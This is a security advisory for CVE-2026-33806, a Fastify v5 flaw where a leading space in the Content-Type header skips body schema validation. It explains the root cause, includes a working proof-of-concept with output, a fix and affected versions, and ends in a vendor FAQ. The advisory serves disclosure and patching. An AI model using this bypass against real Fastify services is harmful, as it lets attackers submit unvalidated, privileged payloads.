CVE-2026-33806

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.
This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently.
Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely.
Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED, normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS, single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Any Fastify application that relies on schema.body.content (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity, it is a single-character modification to an HTTP header.
This vulnerability is distinct from all previously patched content-type bypasses:

Recommended fix, add trimStart() before the split in getEssenceMediaType:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}

CVE-2026-33806 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.8.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33806? CVE-2026-33806 is a high-severity security vulnerability in fastify (npm), affecting versions >= 5.3.2, <= 5.8.4. It is fixed in 5.8.5.
2. How severe is CVE-2026-33806? CVE-2026-33806 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of fastify are affected by CVE-2026-33806? fastify (npm) versions >= 5.3.2, <= 5.8.4 is affected.
4. Is there a fix for CVE-2026-33806? Yes. CVE-2026-33806 is fixed in 5.8.5. Upgrade to this version or later.
5. Is CVE-2026-33806 exploitable, and should I be worried? Whether CVE-2026-33806 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33806 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33806? Upgrade fastify to 5.8.5 or later.